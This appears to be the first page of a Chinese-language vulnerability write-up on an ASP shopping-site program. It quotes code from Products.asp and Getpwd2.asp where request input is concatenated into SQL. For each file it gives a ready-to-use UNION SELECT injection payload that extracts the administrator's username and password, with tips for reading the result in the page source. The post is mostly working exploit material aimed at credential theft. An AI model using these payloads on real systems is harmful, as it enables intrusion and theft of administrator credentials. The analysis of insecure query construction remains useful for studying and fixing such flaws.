|
很糟糕的一套程序,我ASP不太熟悉,哪里写错了还请各位大牛指点!
注入: 共发现3个可注入的地方: Products.asp 发生在浏览产品的时候 代码如下:
<%set rss=server.CreateObject("adodb.recordset") rss.open "select * from products where bookid="&request.querystring("id"),conn,1,3 //这里,取得id直接拼到了SQL语句里, 注入产生了。! if rss.eof or bof then response.write "<script>alert('对不起,没有此商品!');history.go(-1);</script>" response.end end if dim des if not rss("metad")="" then des=rss("metad") end if if not rss("metak")="" then keya=rss("metak") end if %> <title><%=webname%>--商品详细信息</title> <meta name="description" content="<%=des%>"> <meta name="keywords" content="<%=keya%>"> <link href="skin/skin<%=skinid%>/css.css" rel="stylesheet" type="text/css"> </head> <script language="JavaScript"> <!-- function OpenNews() { window.name = "news" win = window.open('','newswin','left=110,width=600,height=420,scrollbars=1'); } //--> </script> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" > <%if IsNumeric(request.QueryString("id"))=False then response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>") response.end end if |
这里有一个有趣的问题哈,在查完库以后,才对ID进行检测,不知道这个程序员是怎么想的! 构造注入语句如下:
|
http://localhost/shangwu/products.asp?id=353 union select '1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1',admin,password,'1','1' from admin |
我用的FF,因为后面的javascript的干扰有可能会导致看不到结果。用FF把JS禁用掉 。提交以后,查看网页源代码,得到管理员的账号与密码:

Getpwd2.asp 发生在找回密码的时候,代码如下:
<% username=request.form("username") //直接从表单里拿到username的值 set rs=Server.CreateObject("Adodb.Recordset") sql="select * from [YX_User] where name='"&username&"' " //放入SQL语句 执行 , 注入发生了 rs.open sql,conn,1,1 If rs.eof Then %> 。。。省略。。。 <%if rs("Clue")<>"" then%> <tr> <td width="100%" height="22"> 问 题: <font color="red"><%=rs("Clue")%></font> //这里 输出Clue列的值,可以利用这里直接输出一个我们想要的列的值 在找回密码的框里输入:
admin' union select '1','1','1',password,'1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1' ,'1','1','1','1','1','1','1','1' from admin where ''=' |

[1] [2] [3] 下一页 |